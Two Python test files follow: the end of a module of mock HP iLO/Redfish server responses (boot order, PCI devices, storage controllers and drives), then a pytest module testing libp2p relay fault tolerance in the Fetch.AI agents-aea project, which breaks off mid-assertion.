} ], "self": { "href": "/rest/v1/Systems/1" } } } """ UEFI_BOOT_DEVICE_ORDER_PXE = ['NIC.LOM.1.1.IPv4', 'NIC.LOM.1.1.IPv6', 'HD.Slot.1.2', 'Generic.USB.1.1', 'CD.Virtual.2.1', 'FD.Virtual.1.1'] UEFI_BOOT_DEVICE_ORDER_HDD = ['HD.Slot.1.2', 'NIC.LOM.1.1.IPv4', 'NIC.LOM.1.1.IPv6', 'Generic.USB.1.1', 'CD.Virtual.2.1', 'FD.Virtual.1.1'] UEFI_BOOT_DEVICE_ORDER_CD = ['CD.Virtual.2.1', 'NIC.LOM.1.1.IPv4', 'NIC.LOM.1.1.IPv6', 'Generic.USB.1.1', 'HD.Slot.1.2', 'FD.Virtual.1.1'] UEFI_BOOT_DEVICE_ORDER_ERR = ['FAKE.Virtual.2.1', 'CD.Virtual.2.1', 'NIC.LOM.1.1.IPv4', 'NIC.LOM.1.1.IPv6', 'Generic.USB.1.1', 'HD.Slot.1.2', 'FD.Virtual.1.1'] UEFI_BOOT_SOURCES_ERR = ''' [ { "UEFIDevicePath": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x0)/MAC \ (3863BB43683C,0x0)/IPv4(0.0.0.0)", "BootString": "Embedded LOM 1 Port 1 : HP Ethernet 1Gb 4-port \ 331i Adapter - NIC (PXE IPv4) ", "StructuredBootString": "NIC.LOM.1.1.IPv4", "CorrelatableID": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x0)" }, { "UEFIDevicePath": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x0)/MAC\ (3863BB43683C,0x0)/IPv6(0000:0000:0000:0000:\ 0000:0000:0000:0000)", "BootString": "Embedded LOM 1 Port 1 : HP Ethernet 1Gb 4-port \ 331i Adapter - NIC (PXE IPv6) ", "StructuredBootString": "NIC.LOM.1.1.IPv6", "CorrelatableID": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x0)" }, { "UEFIDevicePath": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)/Scsi\ (0x0,0x0)", "StructuredBootString": "HD.Slot.1.2", "CorrelatableID": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)" }, { "UEFIDevicePath": "UsbClass(0xFFFF,0xFFFF,0xFF,0xFF,0xFF)", "BootString": "Generic USB Boot", "StructuredBootString": "Generic.USB.1.1", "CorrelatableID": "UsbClass(0xFFFF,0xFFFF,0xFF,0xFF,0xFF)" }, { "UEFIDevicePath": "PciRoot(0x0)/Pci(0x1D,0x0)/USB(0x0,0x0)\ /USB(0x0,0x0)", "BootString": "iLO Virtual USB 2 : HP iLO Virtual USB CD/DVD ROM", "StructuredBootString": "CD.Virtual.2.1", "CorrelatableID": "PciRoot(0x0)/Pci(0x1D,0x0)/USB(0x0,0x0)/USB\ (0x0,0x0)" }, { "UEFIDevicePath": "PciRoot(0x0)/Pci(0x1C,0x2)/Pci(0x0,0x4)/USB\ (0x1,0x0)", "BootString": "iLO Virtual USB 1 : HP iLO Virtual USB Key", "StructuredBootString": "FD.Virtual.1.1", "CorrelatableID": "PciRoot(0x0)/Pci(0x1C,0x2)/Pci(0x0,0x4)/USB(0x1,\ 0x0)" } ] ''' UEFI_PERS_BOOT_DEVICES = ["HD.Slot.1.1", "HD.Slot.1.2", "NIC.LOM.1.1.iSCSI", "NIC.LOM.1.1.IPv4", "NIC.LOM.1.1.IPv6", "Generic.USB.1.1", "CD.Virtual.2.1" ] BOOT_PERS_DEV_ORDER_MISSING = """ { "AttributeRegistry": "HpBiosAttributeRegistryP89.1.1.00", "BootSources": [ { "BootString": "Slot 1 : Smart Array P840 Controller - 279.37 GiB,\ RAID 0 Logical Drive(Target:0, Lun:0)", "CorrelatableID": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)", "StructuredBootString": "HD.Slot.1.1", "UEFIDevicePath": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)/Scsi\ (0x0,0x0)" }, { "BootString": "Slot 1 : Smart Array P840 Controller - 279.37 GiB,\ RAID 0 Logical Drive(Target:0, Lun:1)", "CorrelatableID": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)", "StructuredBootString": "HD.Slot.1.2", "UEFIDevicePath": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)/Scsi\ (0x0,0x1)" }, { "BootString": "Embedded LOM 1 Port 1 : HP Ethernet 1Gb 4-port\ 331i Adapter - NIC (PXE IPv4) ", "CorrelatableID": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x0)", "StructuredBootString": "NIC.LOM.1.1.IPv4", "UEFIDevicePath": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x0)/MAC\ (C4346BB7EF30,0x0)/IPv4(0.0.0.0)" }, { "BootString": "Embedded LOM 1 Port 1 : HP Ethernet 1Gb 4-port\ 331i Adapter - NIC (PXE IPv6) ", "CorrelatableID": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x0)", "StructuredBootString": "NIC.LOM.1.1.IPv6", "UEFIDevicePath": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x0)/MAC\ (C4346BB7EF30,0x0)/IPv6(0000:0000:0000:0000:0000:0000:0000:0000)" }, { "BootString": "Generic USB Boot", "CorrelatableID": "UsbClass(0xFFFF,0xFFFF,0xFF,0xFF,0xFF)", "StructuredBootString": "Generic.USB.1.1", "UEFIDevicePath": "UsbClass(0xFFFF,0xFFFF,0xFF,0xFF,0xFF)" }, { "BootString": "iLO Virtual USB 2 : HP iLO Virtual USB CD/DVD ROM", "CorrelatableID": "PciRoot(0x0)/Pci(0x1D,0x0)/USB(0x0,0x0)/USB\ (0x0,0x0)", "StructuredBootString": "CD.Virtual.2.1", "UEFIDevicePath": "PciRoot(0x0)/Pci(0x1D,0x0)/USB(0x0,0x0)/USB\ (0x0,0x0)" } ], "DefaultBootOrder": [ "Floppy", "Cd", "Usb", "EmbeddedStorage", "PcieSlotStorage", "EmbeddedFlexLOM", "PcieSlotNic", "UefiShell" ], "Description": "This is the Server Boot Order Current Settings", "DesiredBootDevices": [ { "CorrelatableID": "", "Lun": "", "Wwn": "", "iScsiTargetName": "" }, { "CorrelatableID": "", "Lun": "", "Wwn": "", "iScsiTargetName": "" } ], "Modified": "2015-05-26T23:38:24+00:00", "Name": "Boot Order Current Settings", "SettingsResult": { "ETag": "0DEA61A1609C51EED0628E3B0BC633DD", "Messages": [ { "MessageArgs": [ "PersistentBootConfigOrder[0" ], "MessageID": "Base.1.0:PropertyValueNotInList" }, { "MessageArgs": [], "MessageID": "Base.1.0:Success" } ], "Time": "2015-05-14T02:38:40+00:00" }, "Type": "HpServerBootSettings.1.2.0", "links": { "BaseConfigs": { "href": "/rest/v1/systems/1/bios/Boot/BaseConfigs" }, "Settings": { "href": "/rest/v1/systems/1/bios/Boot/Settings" }, "self": { "href": "/rest/v1/systems/1/bios/Boot" } } } """ UEFI_BootSources = ''' [ { "BootString": "Slot 1 : Smart Array P840 Controller - 279.37 GiB,\ RAID 0 Logical Drive(Target:0, Lun:0)", "CorrelatableID": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)", "StructuredBootString": "HD.Slot.1.1", "UEFIDevicePath": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)/Scsi\ (0x0,0x0)" }, { "BootString": "Slot 1 : Smart Array P840 Controller - 279.37 GiB,\ RAID 0 Logical Drive(Target:0, Lun:1)", "CorrelatableID": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)", "StructuredBootString": "HD.Slot.1.2", "UEFIDevicePath": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)/Scsi\ (0x0,0x1)" }, { "BootString": "Embedded LOM 1 Port 1 : HP Ethernet 1Gb 4-port\ 331i Adapter - NIC (PXE IPv4) ", "CorrelatableID": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x0)", "StructuredBootString": "NIC.LOM.1.1.IPv4", "UEFIDevicePath": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x0)/MAC\ (C4346BB7EF30,0x0)/IPv4(0.0.0.0)" }, { "BootString": "Embedded LOM 1 Port 1 : HP Ethernet 1Gb 2-port\ 361i Adapter - NIC (iSCSI IPv4) ", "CorrelatableID": "PciRoot(0x0)/Pci(0x2,0x3)/Pci(0x0,0x0)", "StructuredBootString": "NIC.LOM.1.1.iSCSI", "UEFIDevicePath": "PciRoot(0x0)/Pci(0x2,0x3)/Pci(0x0,0x0)/MAC\ (C4346BB7EF30,0x1)/IPv4(0.0.0.0)/iSCSI(iqn.2016-07.org.de\ :storage,0x1,0x0,None,None,None,TCP)" }, { "BootString": "Embedded LOM 1 Port 1 : HP Ethernet 1Gb 4-port\ 331i Adapter - NIC (PXE IPv6) ", "CorrelatableID": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x0)", "StructuredBootString": "NIC.LOM.1.1.IPv6", "UEFIDevicePath": "PciRoot(0x0)/Pci(0x1C,0x4)/Pci(0x0,0x0)/MAC\ (C4346BB7EF30,0x0)/IPv6(0000:0000:0000:0000:0000:0000:0000:0000)" }, { "BootString": "Generic USB Boot", "CorrelatableID": "UsbClass(0xFFFF,0xFFFF,0xFF,0xFF,0xFF)", "StructuredBootString": "Generic.USB.1.1", "UEFIDevicePath": "UsbClass(0xFFFF,0xFFFF,0xFF,0xFF,0xFF)" }, { "BootString": "iLO Virtual USB 2 : HP iLO Virtual USB CD/DVD ROM", "CorrelatableID": "PciRoot(0x0)/Pci(0x1D,0x0)/USB(0x0,0x0)/USB\ (0x0,0x0)", "StructuredBootString": "CD.Virtual.2.1", "UEFIDevicePath": "PciRoot(0x0)/Pci(0x1D,0x0)/USB(0x0,0x0)/USB\ (0x0,0x0)" } ] ''' UEFI_BOOTSOURCES_MISSING = """ { "AttributeRegistry": "HpBiosAttributeRegistryP89.1.1.00", "DefaultBootOrder": [ "Floppy", "Cd", "Usb", "EmbeddedStorage", "PcieSlotStorage", "EmbeddedFlexLOM", "PcieSlotNic", "UefiShell" ], "Description": "This is the Server Boot Order Current Settings", "DesiredBootDevices": [ { "CorrelatableID": "", "Lun": "", "Wwn": "", "iScsiTargetName": "" }, { "CorrelatableID": "", "Lun": "", "Wwn": "", "iScsiTargetName": "" } ], "Modified": "2015-05-26T23:38:24+00:00", "Name": "Boot Order Current Settings", "PersistentBootConfigOrder": [ "HD.Slot.1.1", "HD.Slot.1.2", "NIC.LOM.1.1.IPv4", "NIC.LOM.1.1.IPv6", "Generic.USB.1.1", "CD.Virtual.2.1" ], "SettingsResult": { "ETag": "0DEA61A1609C51EED0628E3B0BC633DD", "Messages": [ { "MessageArgs": [ "PersistentBootConfigOrder[0" ], "MessageID": "Base.1.0:PropertyValueNotInList" }, { "MessageArgs": [], "MessageID": "Base.1.0:Success" } ], "Time": "2015-05-14T02:38:40+00:00" }, "Type": "HpServerBootSettings.1.2.0", "links": { "BaseConfigs": { "href": "/rest/v1/systems/1/bios/Boot/BaseConfigs" }, "Settings": { "href": "/rest/v1/systems/1/bios/Boot/Settings" }, "self": { "href": "/rest/v1/systems/1/bios/Boot" } } } """ PCI_DEVICE_DETAILS_NO_GPU = """ { "@odata.context": "/redfish/v1/$metadata#Systems/Members/1/PCIDevices", "@odata.id": "/redfish/v1/Systems/1/PCIDevices/", "@odata.type": "#HpServerPciDeviceCollection.HpServerPciDeviceCollection", "Description": " PciDevices view", "Items": [ { "@odata.context": "/redfish/v1/$metadata#Systems/Members/\ 1/PCIDevices/Members/$entity", "@odata.id": "/redfish/v1/Systems/1/PCIDevices/6/", "@odata.type": "#HpServerPciDevice.1.0.0.HpServerPciDevice", "BusNumber": 132, "ClassCode": 6, "DeviceID": 34631, "DeviceInstance": 2, "DeviceLocation": "PCI Slot", "DeviceNumber": 0, "DeviceSubInstance": 1, "DeviceType": "Other PCI Device", "FunctionNumber": 0, "Id": "6", "Name": "PCIe Controller", "SegmentNumber": 0, "StructuredName": "PCI.Slot.2.1", "SubclassCode": 4, "SubsystemDeviceID": 34631, "SubsystemVendorID": 4277, "Type": "HpServerPciDevice.1.0.0", "UEFIDevicePath": "PciRoot(0x1)/Pci(0x3,0x0)/Pci(0x0,0x0)", "VendorID": 4277, "links": { "self": { "href": "/rest/v1/Systems/1/PCIDevices/6" } } } ] } """ PCI_GPU_LIST = """ [ { "@odata.context": "/redfish/v1/$metadata#Systems/Members/1\ /PCIDevices/Members/$entity", "@odata.id": "/redfish/v1/Systems/1/PCIDevices/6/", "@odata.type": "#HpServerPciDevice.1.0.0.HpServerPciDevice", "BusNumber": 5, "ClassCode": 3, "DeviceID": 26528, "DeviceInstance": 3, "DeviceLocation": "PCI Slot", "DeviceNumber": 0, "DeviceSubInstance": 1, "DeviceType": "Other PCI Device", "FunctionNumber": 0, "Id": "6", "Name": "HAWAII XTGL", "SegmentNumber": 0, "StructuredName": "PCI.Slot.3.1", "SubclassCode": 128, "SubsystemDeviceID": 821, "SubsystemVendorID": 4098, "Type": "HpServerPciDevice.1.0.0", "UEFIDevicePath": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)/\ Pci(0x8,0x0)/Pci(0x0,0x0)", "VendorID": 4098, "links": { "self": { "href": "/rest/v1/Systems/1/PCIDevices/6" } } } ] """ PCI_DEVICE_DETAILS = """ { "@odata.context": "/redfish/v1/$metadata#Systems/Members/1/PCIDevices", "@odata.id": "/redfish/v1/Systems/1/PCIDevices/", "@odata.type": "#HpServerPciDeviceCollection.HpServerPciDeviceCollection", "Description": " PciDevices view", "Items": [ { "@odata.context": "/redfish/v1/$metadata#Systems/Members/\ 1/PCIDevices/Members/$entity", "@odata.id": "/redfish/v1/Systems/1/PCIDevices/6/", "@odata.type": "#HpServerPciDevice.1.0.0.HpServerPciDevice", "BusNumber": 132, "ClassCode": 6, "DeviceID": 34631, "DeviceInstance": 2, "DeviceLocation": "PCI Slot", "DeviceNumber": 0, "DeviceSubInstance": 1, "DeviceType": "Other PCI Device", "FunctionNumber": 0, "Id": "6", "Name": "PCIe Controller", "SegmentNumber": 0, "StructuredName": "PCI.Slot.2.1", "SubclassCode": 4, "SubsystemDeviceID": 34631, "SubsystemVendorID": 4277, "Type": "HpServerPciDevice.1.0.0", "UEFIDevicePath": "PciRoot(0x1)/Pci(0x3,0x0)/Pci(0x0,0x0)", "VendorID": 4277, "links": { "self": { "href": "/rest/v1/Systems/1/PCIDevices/6" } } }, { "@odata.context": "/redfish/v1/$metadata#Systems/Members/1\ /PCIDevices/Members/$entity", "@odata.id": "/redfish/v1/Systems/1/PCIDevices/6/", "@odata.type": "#HpServerPciDevice.1.0.0.HpServerPciDevice", "BusNumber": 5, "ClassCode": 3, "DeviceID": 26528, "DeviceInstance": 3, "DeviceLocation": "PCI Slot", "DeviceNumber": 0, "DeviceSubInstance": 1, "DeviceType": "Other PCI Device", "FunctionNumber": 0, "Id": "6", "Name": "HAWAII XTGL", "SegmentNumber": 0, "StructuredName": "PCI.Slot.3.1", "SubclassCode": 128, "SubsystemDeviceID": 821, "SubsystemVendorID": 4098, "Type": "HpServerPciDevice.1.0.0", "UEFIDevicePath": "PciRoot(0x0)/Pci(0x2,0x0)/Pci(0x0,0x0)/\ Pci(0x8,0x0)/Pci(0x0,0x0)", "VendorID": 4098, "links": { "self": { "href": "/rest/v1/Systems/1/PCIDevices/6" } } } ] } """ STORAGE_SETTINGS = """ { "@odata.context": "/redfish/v1/$metadata#Systems/Members/1\ /SmartStorage$entity", "@odata.id": "/redfish/v1/Systems/1/SmartStorage/", "@odata.type": "#HpSmartStorage.HpSmartStorage", "Description": "HP Smart Storage", "Id": "1", "Links": { "ArrayControllers": { "@odata.id": "/redfish/v1/Systems/1\ /SmartStorage/ArrayControllers/" }, "HostBusAdapters": { "@odata.id": "/redfish/v1/Systems/1/SmartStorage\ /HostBusAdapters/" } }, "Name": "HpSmartStorage", "Status": { "Health": "OK" }, "Type": "HpSmartStorage.1.0.0", "links": { "ArrayControllers": { "href": "/rest/v1/Systems/1/SmartStorage\ /ArrayControllers" }, "HostBusAdapters": { "href": "/rest/v1/Systems/1/SmartStorage\ /HostBusAdapters" }, "self": { "href": "/rest/v1/Systems/1/SmartStorage" } } } """ ARRAY_SETTINGS = """ { "@odata.context": "/redfish/v1/$metadata#Systems/Members/1\ /SmartStorage/ArrayControllers", "@odata.id": "/redfish/v1/Systems/1/SmartStorage/ArrayControllers/", "@odata.type": "#HpSmartStorageArrayControllerCollection.\ 1.0.0.HpSmartStorageArrayControllerCollection", "Description": "HP Smart Storage Array Controllers View", "MemberType": "HpSmartStorageArrayController.1", "Members": [{ "@odata.id": "/redfish/v1/Systems/1/SmartStorage\ /ArrayControllers/0/" }], "Members@odata.count": 1, "Name": "HpSmartStorageArrayControllers", "Total": 1, "Type": "Collection.0.9.5", "links": { "Member": [{ "href": "/rest/v1/Systems/1/SmartStorage/ArrayControllers/0" }], "self": { "href": "/rest/v1/Systems/1/SmartStorage/\ ArrayControllers" } } } """ ARRAY_MEM_SETTINGS = """ { "@odata.context": "/redfish/v1/$metadata#Systems/Members/1\ /SmartStorage/ArrayControllers/Members/$entity", "@odata.id": "/redfish/v1/Systems/1/SmartStorage/ArrayControllers/0/", "@odata.type": "#HpSmartStorageArrayController.\ HpSmartStorageArrayController", "AdapterType": "SmartArray", "BackupPowerSourceStatus": "Present", "CacheMemorySizeMiB": 1024, "CurrentOperatingMode": "RAID", "Description": "HP Smart Storage Array Controller View", "FirmwareVersion": { "Current": { "VersionString": "2.49" } }, "HardwareRevision": "B", "Id": "0", "Links": { "LogicalDrives": { "@odata.id": "/redfish/v1/Systems/1/SmartStorage/\ ArrayControllers/0/LogicalDrives/" }, "PhysicalDrives": { "@odata.id": "/redfish/v1/Systems/1/SmartStorage/\ ArrayControllers/0/DiskDrives/" }, "StorageEnclosures": { "@odata.id": "/redfish/v1/Systems/1/SmartStorage/\ ArrayControllers/0/StorageEnclosures/" } }, "Location": "Slot 0", "LocationFormat": "PCISlot", "Model": "HP Smart Array P244br Controller", "Name": "HpSmartStorageArrayController", "SerialNumber": "PDZVU0FLM7I03I", "Status": { "Health": "OK", "State": "Enabled" }, "Type": "HpSmartStorageArrayController.1.0.0", "links": { "LogicalDrives": { "href": "/rest/v1/Systems/1/SmartStorage/ArrayControllers\ /0/LogicalDrives" }, "PhysicalDrives": { "href": "/rest/v1/Systems/1/SmartStorage/ArrayControllers/\ 0/DiskDrives" }, "StorageEnclosures": { "href": "/rest/v1/Systems/1/SmartStorage/ArrayControllers/\ 0/StorageEnclosures" }, "self": { "href": "/rest/v1/Systems/1/SmartStorage/ArrayControllers/0" } } } """ DISK_COLLECTION = """ { "@odata.context": "/redfish/v1/$metadata#Systems/Members/1\ /SmartStorage/ArrayControllers/Members/2/DiskDrives", "@odata.id": "/redfish/v1/Systems/1/SmartStorage/ArrayControllers\ /2/DiskDrives/", "@odata.type": "\ #HpSmartStorageDiskDriveCollection.HpSmartStorageDiskDriveCollection", "Description": "HP Smart Storage Disk Drives View", "MemberType": "HpSmartStorageDiskDrive.1", "Members": [{ "@odata.id": "/redfish/v1/Systems/1/SmartStorage/\ ArrayControllers/0/DiskDrives/0/" }], "Members@odata.count": 1, "Name": "HpSmartStorageDiskDrives", "Total": 1, "Type": "Collection.1.0.0", "links": { "Member": [{ "href": "/rest/v1/Systems/1/SmartStorage/\ ArrayControllers/0/DiskDrives/0" }], "self": { "href": "/rest/v1/Systems/1/SmartStorage/\ ArrayControllers/0/DiskDrives" } } } """ DISK_DETAILS_LIST = """ [{ "@odata.context": "/redfish/v1/$metadata#Systems/Members/1\ /SmartStorage/ArrayControllers/Members/0/DiskDrives/Members/$entity", "@odata.id": "/redfish/v1/Systems/1/SmartStorage/ArrayControllers\ /0/DiskDrives/0/", "@odata.type": "#HpSmartStorageDiskDrive.HpSmartStorageDiskDrive", "CapacityMiB": 572325, "CurrentTemperatureCelsius": 25, "Description": "HP Smart Storage Disk Drive View", "EncryptedDrive": "False", "FirmwareVersion": { "Current": { "VersionString": "HPDC" } }, "Id": "0", "InterfaceType": "SAS", "Location": "1I:1:1", "LocationFormat": "ControllerPort:Box:Bay", "MaximumTemperatureCelsius": 34, "MediaType": "HDD", "Model": "EG0600FBVFP", "Name": "HpSmartStorageDiskDrive", "RotationalSpeedRpm": 10000, "SerialNumber": "KWK1JS2X", "Status": { "Health": "OK", "State": "Enabled" }, "Type": "HpSmartStorageDiskDrive.1.0.0", "links": { "self": { "href": "/rest/v1/Systems/1/SmartStorage/ArrayControllers\ /0/DiskDrives/0" } } }] """ LOGICAL_COLLECTION = """ { "@odata.context": "/redfish/v1/$metadata#Systems/Members/1/SmartStorage/\ ArrayControllers/Members/0/LogicalDrives", "@odata.id": "/redfish/v1/Systems/1/SmartStorage/ArrayControllers/\ 0/LogicalDrives/", "@odata.type": "\ #HpSmartStorageLogicalDriveCollection.HpSmartStorageLogicalDriveCollection", "Description": "HP Smart Storage Logical Drives View", "MemberType": "HpSmartStorageLogicalDrive.1", "Members": [{ "@odata.id": "/redfish/v1/Systems/1/SmartStorage/ArrayControllers\ /0/LogicalDrives/0/" }], "Members@odata.count": 1, "Name": "HpSmartStorageLogicalDrives", "Total": 1, "Type": "Collection.1.0.0", "links": { "Member": [{ "href": "/rest/v1/Systems/1/SmartStorage/ArrayControllers/\ 0/LogicalDrives/1" }], "self": { "href": "/rest/v1/Systems/1/SmartStorage/ArrayControllers/0\ /LogicalDrives" } } } """ LOGICAL_DETAILS = """ [{ "@odata.context": "/redfish/v1/$metadata#Systems/Members/1/SmartStorage/\ ArrayControllers/Members/0/LogicalDrives/Members/$entity", "@odata.id": "/redfish/v1/Systems/1/SmartStorage/ArrayControllers/0/\ LogicalDrives/1/", "@odata.type": "\ #HpSmartStorageLogicalDrive.1.1.0.HpSmartStorageLogicalDrive", "CapacityMiB": 286070, "Description": "HP Smart Storage Logical Drive View", "Id": "1", "LogicalDriveEncryption": false, "LogicalDriveName": "01908CF2PDNMF0ARH6X0FN6FE9", "LogicalDriveNumber": 1, "LogicalDriveType": "Data", "Name": "HpSmartStorageLogicalDrive", "Raid": "0", "Status": { "Health": "OK", "State": "Enabled" }, "StripeSizeBytes": 262144, "Type": "HpSmartStorageLogicalDrive.1.1.0", "VolumeUniqueIdentifier": "600508B1001CC8A5FF549462C7B8412A", "links": { "DataDrives": { "href": "/rest/v1/Systems/1/SmartStorage/ArrayControllers/0/\ LogicalDrives/1/DataDrives" }, "self": { "href": "/rest/v1/Systems/1/SmartStorage/ArrayControllers/0/\ LogicalDrives/1" } } }] """ ARRAY_SETTING_NO_CONTROLLER = """ { "@odata.context": "/redfish/v1/$metadata#Systems/Members/1\ /SmartStorage/ArrayControllers", "@odata.id": "/redfish/v1/Systems/1/SmartStorage/ArrayControllers/", "@odata.type": "#HpSmartStorageArrayControllerCollection.\ 1.0.0.HpSmartStorageArrayControllerCollection", "Description": "HP Smart Storage Array Controllers View", "MemberType": "HpSmartStorageArrayController.1", "Members@odata.count": 0, "Name": "HpSmartStorageArrayControllers", "Total": 0, "Type": "Collection.0.9.5", "links": { "self": { "href": "/rest/v1/Systems/1/SmartStorage/\ ArrayControllers" } } } """

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Python

tests/test_packages/test_connections/test_p2p_libp2p/test_fault_tolerance.py

devjsc/agents-aea

872f7b76cbcd33b6c809905c68681790bb93ff2f

[ "Apache-2.0" ]

1

2021-04-08T17:19:42.000Z

tests/test_packages/test_connections/test_p2p_libp2p/test_fault_tolerance.py

devjsc/agents-aea

872f7b76cbcd33b6c809905c68681790bb93ff2f

[ "Apache-2.0" ]

null

tests/test_packages/test_connections/test_p2p_libp2p/test_fault_tolerance.py

devjsc/agents-aea

872f7b76cbcd33b6c809905c68681790bb93ff2f

[ "Apache-2.0" ]

1

2021-08-05T08:54:25.000Z

# -*- coding: utf-8 -*- # ------------------------------------------------------------------------------ # # Copyright 2018-2019 Fetch.AI Limited # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # ------------------------------------------------------------------------------ """This test module contains resilience and fault tolerance tests for P2PLibp2p connection.""" import os import shutil import tempfile import time import pytest from aea.configurations.constants import DEFAULT_LEDGER from aea.crypto.registries import make_crypto from aea.mail.base import Envelope from aea.multiplexer import Multiplexer from packages.fetchai.connections.p2p_libp2p.check_dependencies import build_node from packages.fetchai.protocols.default.message import DefaultMessage from packages.fetchai.protocols.default.serialization import DefaultSerializer from tests.common.utils import wait_for_condition from tests.conftest import ( MAX_FLAKY_RERUNS_INTEGRATION, _make_libp2p_connection, libp2p_log_on_failure, libp2p_log_on_failure_all, ) DEFAULT_PORT = 10234 @pytest.mark.flaky(reruns=MAX_FLAKY_RERUNS_INTEGRATION) class BaseTestLibp2pRelay: """Base test class for libp2p connection relay.""" @libp2p_log_on_failure def setup(self): """Set the test up""" self.cwd = os.getcwd() self.t = tempfile.mkdtemp() os.chdir(self.t) build_node(self.t) self.log_files = [] self.multiplexers = [] def change_state_and_wait( self, multiplexer: Multiplexer, expected_is_connected: bool = False, timeout: int = 10, ) -> None: """ Change state of a multiplexer (either connect or disconnect) and wait. :param multiplexer: the multiplexer to connect/disconnect. :param expected_is_connected: whether it should be connected or disconnected. :param timeout: the maximum number seconds to wait. :return: None """ wait_for_condition( lambda: multiplexer.is_connected == expected_is_connected, timeout=timeout ) def teardown(self): """Tear down the test""" for mux in self.multiplexers: mux.disconnect() os.chdir(self.cwd) try: shutil.rmtree(self.t) except (OSError, IOError): pass @libp2p_log_on_failure_all class TestLibp2pConnectionRelayNodeRestartIncomingEnvelopes(BaseTestLibp2pRelay): """Test that connection will reliably receive envelopes after its relay node restarted""" @libp2p_log_on_failure def setup(self): """Set the test up""" super().setup() temp_dir_gen = os.path.join(self.t, "temp_dir_gen") os.mkdir(temp_dir_gen) self.genesis = _make_libp2p_connection( data_dir=temp_dir_gen, port=DEFAULT_PORT + 1, build_directory=self.t ) self.multiplexer_genesis = Multiplexer( [self.genesis], protocols=[DefaultMessage] ) self.multiplexer_genesis.connect() self.log_files.append(self.genesis.node.log_file) self.multiplexers.append(self.multiplexer_genesis) genesis_peer = self.genesis.node.multiaddrs[0] file = "node_key" make_crypto(DEFAULT_LEDGER).dump(file) self.relay_key_path = file temp_dir_rel = os.path.join(self.t, "temp_dir_rel") os.mkdir(temp_dir_rel) self.relay = _make_libp2p_connection( data_dir=temp_dir_rel, port=DEFAULT_PORT + 2, entry_peers=[genesis_peer], node_key_file=self.relay_key_path, build_directory=self.t, ) self.multiplexer_relay = Multiplexer([self.relay], protocols=[DefaultMessage]) self.multiplexer_relay.connect() self.log_files.append(self.relay.node.log_file) self.multiplexers.append(self.multiplexer_relay) relay_peer = self.relay.node.multiaddrs[0] temp_dir_1 = os.path.join(self.t, "temp_dir_1") os.mkdir(temp_dir_1) self.connection = _make_libp2p_connection( data_dir=temp_dir_1, port=DEFAULT_PORT + 3, relay=False, entry_peers=[relay_peer], build_directory=self.t, ) self.multiplexer = Multiplexer([self.connection], protocols=[DefaultMessage]) self.multiplexer.connect() self.log_files.append(self.connection.node.log_file) self.multiplexers.append(self.multiplexer) temp_dir_2 = os.path.join(self.t, "temp_dir_2") os.mkdir(temp_dir_2) self.connection2 = _make_libp2p_connection( data_dir=temp_dir_2, port=DEFAULT_PORT + 4, relay=False, entry_peers=[relay_peer], build_directory=self.t, ) self.multiplexer2 = Multiplexer([self.connection2], protocols=[DefaultMessage]) self.multiplexer2.connect() self.log_files.append(self.connection2.node.log_file) self.multiplexers.append(self.multiplexer2) def test_connection_is_established(self): """Test connection established.""" assert self.relay.is_connected is True assert self.connection.is_connected is True assert self.connection2.is_connected is True def test_envelope_routed_from_peer_after_relay_restart(self): """Test envelope routed from third peer after relay restart.""" addr_1 = self.genesis.address addr_2 = self.connection.address msg = DefaultMessage( dialogue_reference=("", ""), message_id=1, target=0, performative=DefaultMessage.Performative.BYTES, content=b"hello", ) envelope = Envelope( to=addr_2, sender=addr_1, protocol_specification_id=DefaultMessage.protocol_specification_id, message=DefaultSerializer().encode(msg), ) self.multiplexer_genesis.put(envelope) delivered_envelope = self.multiplexer.get(block=True, timeout=20) assert delivered_envelope is not None assert delivered_envelope.to == envelope.to assert delivered_envelope.sender == envelope.sender assert ( delivered_envelope.protocol_specification_id == envelope.protocol_specification_id ) assert delivered_envelope.message_bytes == envelope.message_bytes self.multiplexer_relay.disconnect() self.change_state_and_wait(self.multiplexer_relay, expected_is_connected=False) # currently, multiplexer cannot be restarted self.multiplexer_relay = Multiplexer([self.relay], protocols=[DefaultMessage]) self.multiplexer_relay.connect() self.change_state_and_wait(self.multiplexer_relay, expected_is_connected=True) self.multiplexers.append(self.multiplexer_relay) msg = DefaultMessage( dialogue_reference=("", ""), message_id=1, target=0, performative=DefaultMessage.Performative.BYTES, content=b"helloAfterRestart", ) envelope = Envelope( to=addr_2, sender=addr_1, protocol_specification_id=DefaultMessage.protocol_specification_id, message=DefaultSerializer().encode(msg), ) self.multiplexer_genesis.put(envelope) delivered_envelope = self.multiplexer.get(block=True, timeout=20) assert delivered_envelope is not None assert delivered_envelope.to == envelope.to assert delivered_envelope.sender == envelope.sender assert ( delivered_envelope.protocol_specification_id == envelope.protocol_specification_id ) assert 